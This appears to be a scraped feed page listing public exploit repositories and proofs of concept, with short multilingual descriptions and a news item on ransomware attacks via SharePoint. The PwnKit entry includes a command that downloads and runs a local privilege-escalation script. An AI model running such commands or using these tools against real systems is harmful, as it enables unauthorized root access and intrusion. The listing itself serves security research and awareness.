Root-My-Galaxy-Payloads

Root My Galaxy Payloads This repository contains the device-s...

Microsoft Windows Cloud Files Mini Filter Driver CldiStreamCompleteRequest use-after-free vulnerability

Summary A use-after-free vulnerability exists in the CldiStreamCompleteRequest functionality of Windows Cloud Files Mini Filter Driver versions: 10.0.26100.8457 WinBuild.160101.0800. A specially crafted sequence of Cloud Filter API calls can lead to privilege escalation. An attacker can execute a...

Exploit for CVE-2026-103956

abraxaslabs.tech · github.com/abraxas ·&...

Exploit for Argument Injection in Thecodingmachine Gotenberg

🔥 GOTENBERG RCE CHAIN CVE-2026-42589 + CVE-2026-40281 !...

Root-My-Galaxy-Payloads

Root My Galaxy Payloads This repository contains the device-s...

Exploit for Interpretation Conflict in Wordpress

wp2shell-PoC ⚠ This tool is created solely for education...

Exploit for OS Command Injection in Fortinet Fortisandbox

CVE-2026-39808 — Fortinet FortiSandbox OS Command Injection...

Exploit for OS Command Injection in Redhat Openshift_Container_Platform

CVE-2026-4480 - Samba Print Command Injection - RCE sin Autent...

Warlock Exploits SharePoint Flaws to Disable Security Tools and Deploy Ransomware

The suspected China-linked threat actor known as Warlock is still continuing to weaponize Microsoft SharePoint vulnerabilities, likely both old and new, in attacks targeting organizations in Portuguese- and Spanish-speaking countries. The activity, observed by the Symantec and Carbon Black Threat...

LnkMeMaybe

LnkMeMaybe Инструментарий .NET 8 для создания и анализа файлов Windows Shell Link .lnk. Включает консольный конструктор LnkMeMaybe и графический редактор LnkUi. Предназначен для исследований в области безопасности и тестирования на проникновение. Проекты Проект| Описание ---|--- Lnk/| Базовая...

CVE-2024-22891

Nteract PoC Une preuve de concept pour la vulnérabilité CVE-2024-22891. nteract 0.28.0 permet une vue web Electron via un lien Markdown, avec une exécution de code à distance résultante. Dans ce dépôt se trouve un exemple d'application vulnérable et une exploitation de preuve de concept POC de...

linux_mint_poc

Уязвимость внедрения команд 'yelp' в Linux Mint 18.3-19.1 Корневая причина Обработчики URI help://, ghelp:// и man:// определены в файле /usr/share/applications/yelp.desktop, который выполняет /usr/local/bin/yelp через Exec=yelp %u всякий раз, когда вызывается один из этих обработчиков URI. Файл...

awesome-list

Awesome Cybersecurity List My personal collection of awesome blog posts, write-ups, and papers focusing on cybersecurity. For a deeper dive into cybersecurity-related tools, check out the dedicated Cybersecurity Tools list. Outline 2026 2025 2024 2023 2022 2021 2020 2019 2018 2017 2016 2014 2011...

lpe-toolkit

Kit de LPE Linux Kit d'escalade de privilèges multi-architecture avec 24 exploits amd64 pré-compilé ; autres architectures compilées via gcc à l'exécution. Prend en charge amd64, arm64, 386, mips, mipsle, mips64, et mips64le. Détecte la version du noyau, filtre les exploits corrigés, et essaie...

CVE-2024-29973

CVE-2024-29973 - Уязвимость удаленного выполнения команд Описание CVE-2024-29973 — это критическая уязвимость, обнаруженная в некоторых сетевых устройствах Zyxel. Эта уязвимость позволяет неаутентифицированному злоумышленнику выполнять произвольные команды на целевом устройстве, используя...

AirmonGUI

AirmonGUI Une interface web locale pour la suite d'outils sans fil aircrack-ng. Captures d'écran · Démarrage rapide · Fonctionnalités · Feuille de route · Contribuer !WARNING Utilisez ceci uniquement sur des réseaux dont vous êtes propriétaire ou pour lesquels vous avez une autorisation écrite de...

VcenterKiller

VcenterKiller -1. Attention Si vous montez un environnement de vulnérabilité en local, l'utilisation de vckiller pour vérifier Log4j échouera généralement, car en mode NAT sous VMware, l'interface réseau sortante du module de vérification sera détectée comme 127.0.0.1, ce qui fera que le serveur...

CVE-2023-38646

CVE-2023-38646 - Metabase RCE Les versions open source de Metabase antérieures à 0.46.6.1 et les versions Enterprise antérieures à 1.46.6.1 permettent à un attaquant d'exécuter des commandes arbitraires sur le serveur, avec les privilèges du serveur. L'authentification n'est pas nécessaire pour...

PwnKit

PwnKit Exploit autonome pour CVE-2021-4034 - Élévation de privilèges locale Pkexec Utilisation Devrait fonctionner directement sur les distributions Linux vulnérables basées sur Ubuntu, Debian, Fedora et CentOS. sh -c "$curl -fsSL https://raw.githubusercontent.com/ly4k/PwnKit/main/PwnKit.sh"...

CVE-2025-37164-PoC

CVE-2025-37164 - PoC RCE non authentifiée HPE OneView Exploit Proof-of-Concept pour CVE-2025-37164, une vulnérabilité critique CVSS 10.0 d'exécution de code à distance non authentifiée dans HPE OneView. AVERTISSEMENT CE LOGICIEL EST FOURNI UNIQUEMENT À DES FINS ÉDUCATIVES ET DE TESTS DE SÉCURITÉ...